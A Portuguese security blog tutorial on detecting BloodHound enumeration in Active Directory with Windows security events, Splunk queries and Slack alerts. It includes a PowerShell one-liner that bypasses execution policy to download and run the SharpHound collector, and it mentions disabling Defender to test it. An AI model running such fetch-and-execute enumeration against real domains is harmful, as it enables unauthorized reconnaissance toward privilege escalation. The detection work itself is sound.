Detectando ataques de enumeração - bloodhound ou ferramentas similares

Autor: Kelvem Sousa

Introdução 

O Bloodhound é uma ferramenta de reconhecimento que usa a teoria dos grafos para revelar relacionamentos ocultos ou às vezes não intencionais criados pelo administrador em um ambiente do Active Directory. Ela é uma ferramenta de pós-exploração que ajuda o atacante identificar facilmente os caminhos para obter privilégio no domínio, a imagem abaixo mostra um exemplo do resultado e da visibilidade que esta ferramenta fornece para o invasor, mostrando exatamente as relações de confiança e o caminhos para chegar ao "Domain Admin".

Nota: Imagem ilustrativa retirada de https://www.100security.com.br/bloodhound 

Não abordaremos a instalação e configuração da ferramenta, o objetivo do artigo é mostrar como podemos detectar o uso desta ferramenta em ambientes Active Directory.

Se você quiser aprender a configurar o BloodHound, indico você a acessar diretamente o repositório clicando aqui ou ler o excelente conteúdo postado pela 100SECURITY clicando aqui.

Cénario

O cenário vai ser composto por:

• 1 host Windows 10

• 1 Firewall Pfsense

• 1 Controlador de Domínio Windows server 2016

• 1 SIEM Splunk

• Slack para envio de alertas

O desenho do cenário é este:

Os logs de firewall do Pfsense e os eventos de segurança do AD-SECDAY estão sendo encaminhados para o Splunk, conforme imagem abaixo:

Nota: Se você quiser replicar o cenário e não sabe como configurar o Splunk e a integração com o Slack, dê uma olhada nas nossa playlist de Splunk no Youtube clicando aqui, aproveite e siga o canal :)

Para detectar o Bloodhound, vamos monitorar 3 codigos de eventos de segurança do Windows.

• 4799(S): Uma associação de grupo local habilitada para segurança foi enumerada

• 4798(S): A associação de grupo local de um usuário foi enumerada

• 5145(S, F): um objeto de compartilhamento de rede foi verificado para ver se o cliente pode receber o acesso desejado.

Os eventos 4799 e 4798 são gerados por padrão em controladores de domínio versão Windows Server 2016 ou posterior, para versões anteriores, é preciso habilitar o evento 5145, que não vem por padrão habilitado, para habilitar, basta acessar o controlador de dominio e acessar

Local Security Policy > Local Policies > Audit Policy > Audit object access Properties

e habilitar a auditoria de acesso a objetos conforme a imagem

Com o evento habilitado, podemos rodar o bloadhound na máquina WIN10-DESKTOP para ver o comportamento, para executar o teste, basta executar o seguinte comando:

powershell.exe -ExecutionPolicy Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1');Invoke-BloodHound"

Para executar o comando eu desabilitei a proteção em tempo real do defender, mas não se engane, existem varias formas de realizar o bypass, o intuido do artigo é mostrar a detecção :)

Se olharmos os eventos 4799 ou 4798 gerados, observamos o seguinte 

Observamos que o usuário ronaldo.fenomeno gerou 5 eventos, vamos melhorar nossa visualização utilizando a seguinte SPL

index=idx_windows source="XmlWinEventLog:Security" ( EventCode IN (4799, 4798) ) SubjectUserName!=*$
| bin span=2m _time 
| stats count values(TargetUserName) as TargetUserName dc(TargetUserName) as GroupCount by _time CallerProcessName SubjectUserName

Em um intervalo de 2 minutos, ele enumerou 5 grupos

Se analisarmos agora os eventos 5145, observamos o seguinte comportamento

index=idx_windows source="XmlWinEventLog:Security" EventCode IN (5145) SubjectUserName=ronaldo.fenomen
| bin span=2m _time 
| stats count values(RelativeTargetName) as RelativeTargetName by _time src_ip SubjectUserName ShareName

Observamos alguns comportamentos normais, como acesso a bjetos de imagens e políticas, mas, observamos também os RelativeTargetName samr e srvsvc, que não são objetos comumentes acessados e que comumente são utilizados por ferramentas de enumeração. 

Vamos adicionar mais alguns RelativeTargetName em nossa busca, dependendo da forma ou ferramenta que é utilizada, podem vim nos eventos.

index=idx_windows source="XmlWinEventLog:Security" EventCode IN (5145) RelativeTargetName IN ("srvsvc", "lsarpc","efsrpc","lsass","samr") SubjectUserName=ronaldo.fenomen
| bin span=2m _time 
| stats count by _time src_ip SubjectUserName ShareNameo

Resultado:

Então, até agora temos os seguintes comportamentos para detectar o ataque:

• Vários eventos de enumeração (4799 e/ou 4798) gerados pelo mesmo usuário;

• Eventos de acesso de compartilhamento (5145) gerados pelo mesmo usuário com o RelativeTargetName contendo "srvsvc", "lsarpc", "efsrpc", "lsass" ou "samr"

Com essas informações em mãos, podemos criar a seguinte regra no SIEM (no nosso caso, no Splunk)

1.Detecção de blooudhound ou ferramentas similares (Windows Security)

index=idx_windows source="XmlWinEventLog:Security" ( EventCode IN (4799, 4798) ) SubjectUserName!=*$
| bin span=2m _time 
| stats values(TargetUserName) as TargetUserName dc(TargetUserName) as count by _time CallerProcessName SubjectUserName 
| where count > 2 
| append 
    [| search index=idx_windows source="XmlWinEventLog:Security" EventCode IN (5145) RelativeTargetName IN ("srvsvc", "lsarpc","efsrpc","lsass", "samr") SubjectUserName!=*$ 
    | bin span=2m _time 
    | stats count by _time src_ip SubjectUserName 
    | where count > 2] 
| stats values() as * by SubjectUserName 
| eval count = tostring(count) 
| eventstats sum(count) as count 
| eval TargetUserName = mvjoin(TargetUserName, ", ") 
| eval CallerProcessName = mvjoin(CallerProcessName, ", ") 
| fillnull value="NULL" 

Nota: Basicamente, mesclei as duas SPLs usadas anteriormente para criar uma única regra

Salvei a regra conforme a imagem abaixo, para rodar a cada 5 minutos procurando os últimos 5 minutos de eventos e e adicionei a ação para enviar o alerta ao Slack

Ao executar o script do bloodhound novamente, recebemos em alguns instantes o alerta no Slack

A partir daqui, começam as ações de investigação e contenção.

Considerações importantes

Antes de implementar essa regra em produção, faça os testes de efetividade em seu ambiente, cada ambiente tem suas particularidades, pode ser necessário adicionar algumas origens em exceções ou dependendo do ambiente a regra pode não ser precisa, gerando vários falsos positivos.